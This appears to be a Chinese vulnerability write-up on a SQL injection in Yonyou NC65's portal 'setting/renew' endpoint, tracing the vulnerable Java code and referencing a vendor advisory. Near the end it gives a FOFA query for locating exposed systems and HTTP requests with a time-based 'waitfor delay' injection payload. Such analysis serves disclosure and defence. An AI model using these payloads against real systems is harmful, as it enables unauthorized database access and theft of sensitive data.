用友NC setting/renew sql注入漏洞


漏洞简介

用友NC系统可利用/portal/pt/setting/renew接口中的 pageName 和 pageModule 参数实现sql注入漏洞,从而窃取服务器的敏感信息。

影响版本

NC65

fofa语法

app="用友-UFIDA-NC"

漏洞分析

根据官方漏洞通告可知 renew 为sql注入点,参数为 pageName

image-20250209200730811

因此搜索 renew 方法定义即可找到如下文件
nc/uap/portal/action/PortalSettingAction.class

package nc.uap.portal.action;

import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import javax.servlet.http.Cookie;
import nc.uap.cpb.org.exception.CpbBusinessException;
import nc.uap.cpb.org.util.CpbServiceFacility;
import nc.uap.cpb.org.vos.CpUserVO;
import nc.uap.lfw.core.LfwRuntimeEnvironment;
import nc.uap.lfw.core.exception.LfwRuntimeException;
import nc.uap.lfw.servletplus.annotation.Action;
import nc.uap.lfw.servletplus.annotation.Param;
import nc.uap.lfw.servletplus.annotation.Servlet;
import nc.uap.lfw.servletplus.core.impl.BaseAction;
import nc.uap.portal.comm.setting.PtSettingVO;
import nc.uap.portal.comm.setting.itf.IPortalSetting;
import nc.uap.portal.deploy.vo.PtSessionBean;
import nc.uap.portal.exception.PortalServiceException;
import nc.uap.portal.exception.UserAccessException;
import nc.uap.portal.log.PortalLogger;
import nc.uap.portal.om.Page;
import nc.uap.portal.om.PortletDisplay;
import nc.uap.portal.om.Skin;
import nc.uap.portal.plugins.PluginManager;
import nc.uap.portal.portlet.AddPortletHelper;
import nc.uap.portal.service.PortalServiceUtil;
import nc.uap.portal.util.PortalPageDataWrap;
import nc.uap.portal.util.ToolKit;
import nc.uap.portal.util.freemarker.FreeMarkerTools;
import nc.uap.portal.vo.PtPageVO;
import nc.uap.portal.vo.PtThemeVO;
import nc.vo.ml.NCLangRes4VoTransl;
import org.apache.commons.lang.StringUtils;

@Servlet(
    path = "/setting"
)
public class PortalSettingAction extends BaseAction {
    public PortalSettingAction() {
    }

@Action
public void renew(@Param(name = "pageName") String pageName, @Param(name = "pageModule") String pageModule) {
    PtSessionBean sbean = (PtSessionBean)LfwRuntimeEnvironment.getLfwSessionBean();
    String userid = sbean.getPk_user();
    if (StringUtils.isBlank(userid)) {
        throw new IllegalArgumentException(NCLangRes4VoTransl.getNCLangRes().getStrByID("pserver", "PortalSettingAction-000007"));
    } else {
        try {
            StringBuffer where = new StringBuffer(" pagename='");
            where.append(pageName).append("' and module='").append(pageModule);
            where.append("' and fk_pageuser='").append(userid).append("'");
            PtPageVO[] pages = PortalServiceUtil.getPageQryService().getPagesByCondition(where.toString());
            if (pages != null && pages.length > 0) {
                PortalServiceUtil.getPageService().delete(pages[0].getPk_portalpage());
                this.print(NCLangRes4VoTransl.getNCLangRes().getStrByID("pserver", "PortalSettingAction-000008"));
                return;
            }
        } catch (Exception e) {
            PortalLogger.error(e.getMessage(), e);
        }

        this.print(NCLangRes4VoTransl.getNCLangRes().getStrByID("pserver", "PortalSettingAction-000009"));
    }
}

pageName 和 pageModule 直接拼接进 getPagesByCondition 语句中,其实现逻辑如下

public PtPageVO[] getPagesByCondition(String condition) throws PortalServiceException {
        PtBaseDAO dao = new PtBaseDAO();

        try {
            List<PtPageVO> vos = (List)dao.retrieveByClause(PtPageVO.class, condition);
            if (vos != null && vos.size() > 0) {
                return (PtPageVO[])vos.toArray(new PtPageVO[0]);
            }
        } catch (DAOException e) {
            PortalLogger.error(e.getMessage(), e);
        }

        return null;
    }

将 where 语句即 condition 又代入 dao.retrieveByClause 中,其实现逻辑如下

public Collection retrieveByClause(Class className, String condition) throws DAOException {
    PersistenceManager manager = null;
    Collection values = null;

    try {
        manager = this.createPersistenceManager(this.dataSource);
        values = manager.retrieveByClause(className, condition);
    } catch (DbException e) {
        Logger.error(e.getMessage(), e);
        throw new DAOException(e.getMessage());
    } finally {
        if (manager != null) {
            manager.release();
        }

    }

    return values;
}

将 condition 代入 createPersistenceManager.retrieveByClause 中,其实现逻辑如下

public Collection retrieveByClause(Class className, String condition, String[] fields, SQLParameter parameters) throws DbException {
        BaseProcessor processor = new BeanListProcessor(className);
        return (Collection)this.session.executeQuery(this.buildSql(className, condition, fields), parameters, processor);
    }

通过 buildSql 组合 where 语句 其代码实现逻辑如下

    private String buildSql(Class className, String condition, String[] fields) {
        SuperVO vo = (SuperVO)this.InitClass(className);
        String pkName = vo.getPKFieldName();
        boolean hasPKField = false;
        StringBuffer buffer = new StringBuffer();
        String tableName = vo.getTableName();
        if (fields == null) {
            buffer.append("SELECT * FROM ").append(tableName);
        } else {
            buffer.append("SELECT ");

            for(int i = 0; i < fields.length; ++i) {
                if (fields[i] != null) {
                    buffer.append(fields[i]).append(",");
                    if (fields[i].equalsIgnoreCase(pkName)) {
                        hasPKField = true;
                    }
                }
            }

            if (!hasPKField) {
                buffer.append(pkName).append(",");
            }

            buffer.setLength(buffer.length() - 1);
            buffer.append(" FROM ").append(tableName);
        }

        if (condition != null && condition.length() != 0) {
            if (condition.toUpperCase().trim().startsWith("ORDER ")) {
                buffer.append(" ").append(condition);
            } else {
                buffer.append(" WHERE ").append(condition);
            }
        }

        return buffer.toString();
    }

最终直接调用 session.executeQuery 执行上面组合后的SQL语句,造成SQL注入漏洞。

漏洞复现

可先通过 list 或 templateList 接口来确定目标是否存在此应用

GET /portal/pt/setting/templateList?pageId=login HTTP/1.0
Host: nc65.mrxn.net

image

GET /portal/pt/setting/templateList?pageId=login HTTP/1.0
Host: nc65.mrxn.net

因存在 LfwRuntimeEnvironment.getLfwSessionBean() 漏洞利用需要登录权限

GET /portal/pt/setting/renew?pageId=login&pageName=1'waitfor+delay+'0:0:2'--&pageModule=1'waitfor+delay+'0:0:2'-- HTTP/1.0
Host: nc65.mrxn.net
Cookie: JSESSIONID=xxxx

参考

  • https://security.yonyou.com/#/noticeInfo?id=541

手机扫码阅读

用友NC portalpage/doNew sql注入漏洞

用友NC M0dUlE/redeploy SQL注入漏洞

评 论